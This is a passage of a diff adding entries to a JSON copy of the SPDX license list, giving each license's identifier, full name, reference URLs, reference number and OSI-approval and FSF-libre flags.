+ "licenseId": "BSD-2-Clause-NetBSD",
+ "seeAlso": [
+ "http://www.netbsd.org/about/redistribution.html#default"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0.json",
+ "referenceNumber": 263,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 Unported",
+ "licenseId": "CC-BY-NC-ND-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSET-PL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSET-PL-2.1.json",
+ "referenceNumber": 264,
+ "name": "OSET Public License version 2.1",
+ "licenseId": "OSET-PL-2.1",
+ "seeAlso": [
+ "http://www.osetfoundation.org/public-license",
+ "https://opensource.org/licenses/OPL-2.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-2.0.json",
+ "referenceNumber": 265,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 2.0 Generic",
+ "licenseId": "CC-BY-NC-ND-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SISSL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SISSL-1.2.json",
+ "referenceNumber": 266,
+ "name": "Sun Industry Standards Source License v1.2",
+ "licenseId": "SISSL-1.2",
+ "seeAlso": [
+ "http://gridscheduler.sourceforge.net/Gridengine_SISSL_license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Wsuipa.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Wsuipa.json",
+ "referenceNumber": 267,
+ "name": "Wsuipa License",
+ "licenseId": "Wsuipa",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Wsuipa"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zimbra-1.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zimbra-1.4.json",
+ "referenceNumber": 268,
+ "name": "Zimbra Public License v1.4",
+ "licenseId": "Zimbra-1.4",
+ "seeAlso": [
+ "http://www.zimbra.com/legal/zimbra-public-license-1-4"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Linux-OpenIB.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Linux-OpenIB.json",
+ "referenceNumber": 269,
+ "name": "Linux Kernel Variant of OpenIB.org license",
+ "licenseId": "Linux-OpenIB",
+ "seeAlso": [
+ "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/sa.h"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0.json",
+ "referenceNumber": 270,
+ "name": "GNU Lesser General Public License v3.0 only",
+ "licenseId": "LGPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.5.json",
+ "referenceNumber": 271,
+ "name": "Open LDAP Public License v2.5",
+ "licenseId": "OLDAP-2.5",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d6852b9d90022e8593c98205413380536b1b5a7cf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AMPAS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AMPAS.json",
+ "referenceNumber": 272,
+ "name": "Academy of Motion Picture Arts and Sciences BSD",
+ "licenseId": "AMPAS",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD#AMPASBSD"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0-or-later.json",
+ "referenceNumber": 273,
+ "name": "GNU General Public License v1.0 or later",
+ "licenseId": "GPL-1.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BUSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BUSL-1.1.json",
+ "referenceNumber": 274,
+ "name": "Business Source License 1.1",
+ "licenseId": "BUSL-1.1",
+ "seeAlso": [
+ "https://mariadb.com/bsl11/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Adobe-Glyph.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Adobe-Glyph.json",
+ "referenceNumber": 275,
+ "name": "Adobe Glyph List License",
+ "licenseId": "Adobe-Glyph",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#AdobeGlyph"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/0BSD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/0BSD.json",
+ "referenceNumber": 276,
+ "name": "BSD Zero Clause License",
+ "licenseId": "0BSD",
+ "seeAlso": [
+ "http://landley.net/toybox/license.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C-19980720.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C-19980720.json",
+ "referenceNumber": 277,
+ "name": "W3C Software Notice and License (1998-07-20)",
+ "licenseId": "W3C-19980720",
+ "seeAlso": [
+ "http://www.w3.org/Consortium/Legal/copyright-software-19980720.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFUL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFUL.json",
+ "referenceNumber": 278,
+ "name": "FSF Unlimited License",
+ "licenseId": "FSFUL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/FSF_Unlimited_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0.json",
+ "referenceNumber": 279,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 Unported",
+ "licenseId": "CC-BY-NC-SA-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/DOC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DOC.json",
+ "referenceNumber": 280,
+ "name": "DOC License",
+ "licenseId": "DOC",
+ "seeAlso": [
+ "http://www.cs.wustl.edu/~schmidt/ACE-copying.html",
+ "https://www.dre.vanderbilt.edu/~schmidt/ACE-copying.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TMate.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TMate.json",
+ "referenceNumber": 281,
+ "name": "TMate Open Source License",
+ "licenseId": "TMate",
+ "seeAlso": [
+ "http://svnkit.com/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-open-group.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-open-group.json",
+ "referenceNumber": 282,
+ "name": "MIT Open Group variant",
+ "licenseId": "MIT-open-group",
+ "seeAlso": [
+ "https://gitlab.freedesktop.org/xorg/app/iceauth/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xvinfo/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xsetroot/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xauth/-/blob/master/COPYING"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AMDPLPA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AMDPLPA.json",
+ "referenceNumber": 283,
+ "name": "AMD\u0027s plpa_map.c License",
+ "licenseId": "AMDPLPA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AMD_plpa_map_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Condor-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Condor-1.1.json",
+ "referenceNumber": 284,
+ "name": "Condor Public License v1.1",
+ "licenseId": "Condor-1.1",
+ "seeAlso": [
+ "http://research.cs.wisc.edu/condor/license.html#condor",
+ "http://web.archive.org/web/20111123062036/http://research.cs.wisc.edu/condor/license.html#condor"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/PolyForm-Noncommercial-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PolyForm-Noncommercial-1.0.0.json",
+ "referenceNumber": 285,
+ "name": "PolyForm Noncommercial License 1.0.0",
+ "licenseId": "PolyForm-Noncommercial-1.0.0",
+ "seeAlso": [
+ "https://polyformproject.org/licenses/noncommercial/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Military-License.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Military-License.json",
+ "referenceNumber": 286,
+ "name": "BSD 3-Clause No Military License",
+ "licenseId": "BSD-3-Clause-No-Military-License",
+ "seeAlso": [
+ "https://gitlab.syncad.com/hive/dhive/-/blob/master/LICENSE",
+ "https://github.com/greymass/swift-eosio/blob/master/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-4.0.json",
+ "referenceNumber": 287,
+ "name": "Creative Commons Attribution 4.0 International",
+ "licenseId": "CC-BY-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/4.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-Canada-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-Canada-2.0.json",
+ "referenceNumber": 288,
+ "name": "Open Government Licence - Canada",
+ "licenseId": "OGL-Canada-2.0",
+ "seeAlso": [
+ "https://open.canada.ca/en/open-government-licence-canada"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-IGO.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-IGO.json",
+ "referenceNumber": 289,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 IGO",
+ "licenseId": "CC-BY-NC-SA-3.0-IGO",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/igo/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EFL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EFL-1.0.json",
+ "referenceNumber": 290,
+ "name": "Eiffel Forum License v1.0",
+ "licenseId": "EFL-1.0",
+ "seeAlso": [
+ "http://www.eiffel-nice.org/license/forum.txt",
+ "https://opensource.org/licenses/EFL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Newsletr.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Newsletr.json",
+ "referenceNumber": 291,
+ "name": "Newsletr License",
+ "licenseId": "Newsletr",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Newsletr"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/copyleft-next-0.3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/copyleft-next-0.3.0.json",
+ "referenceNumber": 292,
+ "name": "copyleft-next 0.3.0",
+ "licenseId": "copyleft-next-0.3.0",
+ "seeAlso": [
+ "https://github.com/copyleft-next/copyleft-next/blob/master/Releases/copyleft-next-0.3.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-or-later.json",
+ "referenceNumber": 293,
+ "name": "GNU General Public License v3.0 or later",
+ "licenseId": "GPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Permissive-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Permissive-2.0.json",
+ "referenceNumber": 294,
+ "name": "Community Data License Agreement Permissive 2.0",
+ "licenseId": "CDLA-Permissive-2.0",
+ "seeAlso": [
+ "https://cdla.dev/permissive-2-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-3.0.json",
+ "referenceNumber": 295,
+ "name": "Creative Commons Attribution No Derivatives 3.0 Unported",
+ "licenseId": "CC-BY-ND-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/C-UDA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/C-UDA-1.0.json",
+ "referenceNumber": 296,
+ "name": "Computational Use of Data Agreement v1.0",
+ "licenseId": "C-UDA-1.0",
+ "seeAlso": [
+ "https://github.com/microsoft/Computational-Use-of-Data-Agreement/blob/master/C-UDA-1.0.md",
+ "https://cdla.dev/computational-use-of-data-agreement-v1-0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Barr.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Barr.json",
+ "referenceNumber": 297,
+ "name": "Barr License",
+ "licenseId": "Barr",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Barr"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Vim.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Vim.json",
+ "referenceNumber": 298,
+ "name": "Vim License",
+ "licenseId": "Vim",
+ "seeAlso": [
+ "http://vimdoc.sourceforge.net/htmldoc/uganda.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-classpath-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-classpath-exception.json",
+ "referenceNumber": 299,
+ "name": "GNU General Public License v2.0 w/Classpath exception",
+ "licenseId": "GPL-2.0-with-classpath-exception",
+ "seeAlso": [
+ "https://www.gnu.org/software/classpath/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BitTorrent-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BitTorrent-1.1.json",
+ "referenceNumber": 300,
+ "name": "BitTorrent Open Source License v1.1",
+ "licenseId": "BitTorrent-1.1",
+ "seeAlso": [
+ "http://directory.fsf.org/wiki/License:BitTorrentOSL1.1"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDL-1.0.json",
+ "referenceNumber": 301,
+ "name": "Common Documentation License 1.0",
+ "licenseId": "CDL-1.0",
+ "seeAlso": [
+ "http://www.opensource.apple.com/cdl/",
+ "https://fedoraproject.org/wiki/Licensing/Common_Documentation_License",
+ "https://www.gnu.org/licenses/license-list.html#ACDL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-1.0.json",
+ "referenceNumber": 302,
+ "name": "Creative Commons Attribution Share Alike 1.0 Generic",
+ "licenseId": "CC-BY-SA-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ADSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ADSL.json",
+ "referenceNumber": 303,
+ "name": "Amazon Digital Services License",
+ "licenseId": "ADSL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AmazonDigitalServicesLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PostgreSQL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PostgreSQL.json",
+ "referenceNumber": 304,
+ "name": "PostgreSQL License",
+ "licenseId": "PostgreSQL",
+ "seeAlso": [
+ "http://www.postgresql.org/about/licence",
+ "https://opensource.org/licenses/PostgreSQL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1.json",
+ "referenceNumber": 305,
+ "name": "SIL Open Font License 1.1",
+ "licenseId": "OFL-1.1",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPL-1.0.json",
+ "referenceNumber": 306,
+ "name": "Netscape Public License v1.0",
+ "licenseId": "NPL-1.0",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/NPL/1.0/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/xinetd.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/xinetd.json",
+ "referenceNumber": 307,
+ "name": "xinetd License",
+ "licenseId": "xinetd",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Xinetd_License"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0-only.json",
+ "referenceNumber": 308,
+ "name": "GNU Library General Public License v2 only",
+ "licenseId": "LGPL-2.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/zlib-acknowledgement.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/zlib-acknowledgement.json",
+ "referenceNumber": 309,
+ "name": "zlib/libpng License with Acknowledgement",
+ "licenseId": "zlib-acknowledgement",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/ZlibWithAcknowledgement"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.1.json",
+ "referenceNumber": 310,
+ "name": "Open LDAP Public License v2.2.1",
+ "licenseId": "OLDAP-2.2.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d4bc786f34b50aa301be6f5600f58a980070f481e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.0.json",
+ "referenceNumber": 311,
+ "name": "Apple Public Source License 1.0",
+ "licenseId": "APSL-1.0",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Apple_Public_Source_License_1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-LBNL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-LBNL.json",
+ "referenceNumber": 312,
+ "name": "Lawrence Berkeley National Labs BSD variant license",
+ "licenseId": "BSD-3-Clause-LBNL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/LBNLBSD"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GLWTPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GLWTPL.json",
+ "referenceNumber": 313,
+ "name": "Good Luck With That Public License",
+ "licenseId": "GLWTPL",
+ "seeAlso": [
+ "https://github.com/me-shaon/GLWTPL/commit/da5f6bc734095efbacb442c0b31e33a65b9d6e85"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0-only.json",
+ "referenceNumber": 314,
+ "name": "GNU Lesser General Public License v3.0 only",
+ "licenseId": "LGPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGC-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGC-1.0.json",
+ "referenceNumber": 315,
+ "name": "OGC Software License, Version 1.0",
+ "licenseId": "OGC-1.0",
+ "seeAlso": [
+ "https://www.ogc.org/ogc/software/1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Dotseqn.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Dotseqn.json",
+ "referenceNumber": 316,
+ "name": "Dotseqn License",
+ "licenseId": "Dotseqn",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Dotseqn"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MakeIndex.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MakeIndex.json",
+ "referenceNumber": 317,
+ "name": "MakeIndex License",
+ "licenseId": "MakeIndex",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MakeIndex"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-only.json",
+ "referenceNumber": 318,
+ "name": "GNU General Public License v3.0 only",
+ "licenseId": "GPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License-2014.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License-2014.json",
+ "referenceNumber": 319,
+ "name": "BSD 3-Clause No Nuclear License 2014",
+ "licenseId": "BSD-3-Clause-No-Nuclear-License-2014",
+ "seeAlso": [
+ "https://java.net/projects/javaeetutorial/pages/BerkeleyLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0-only.json",
+ "referenceNumber": 320,
+ "name": "GNU General Public License v1.0 only",
+ "licenseId": "GPL-1.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IJG.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IJG.json",
+ "referenceNumber": 321,
+ "name": "Independent JPEG Group License",
+ "licenseId": "IJG",
+ "seeAlso": [
+ "http://dev.w3.org/cvsweb/Amaya/libjpeg/Attic/README?rev\u003d1.2"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0-or-later.json",
+ "referenceNumber": 322,
+ "name": "Affero General Public License v1.0 or later",
+ "licenseId": "AGPL-1.0-or-later",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1-no-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1-no-RFN.json",
+ "referenceNumber": 323,
+ "name": "SIL Open Font License 1.1 with no Reserved Font Name",
+ "licenseId": "OFL-1.1-no-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSL-1.0.json",
+ "referenceNumber": 324,
+ "name": "Boost Software License 1.0",
+ "licenseId": "BSL-1.0",
+ "seeAlso": [
+ "http://www.boost.org/LICENSE_1_0.txt",
+ "https://opensource.org/licenses/BSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Libpng.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Libpng.json",
+ "referenceNumber": 325,
+ "name": "libpng License",
+ "licenseId": "Libpng",
+ "seeAlso": [
+ "http://www.libpng.org/pub/png/src/libpng-LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-3.0.json",
+ "referenceNumber": 326,
+ "name": "Creative Commons Attribution Non Commercial 3.0 Unported",
+ "licenseId": "CC-BY-NC-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-2.0.json",
+ "referenceNumber": 327,
+ "name": "Creative Commons Attribution Non Commercial 2.0 Generic",
+ "licenseId": "CC-BY-NC-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unlicense.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unlicense.json",
+ "referenceNumber": 328,
+ "name": "The Unlicense",
+ "licenseId": "Unlicense",
+ "seeAlso": [
+ "https://unlicense.org/"
+ ],
+ "isOsiApproved": true,
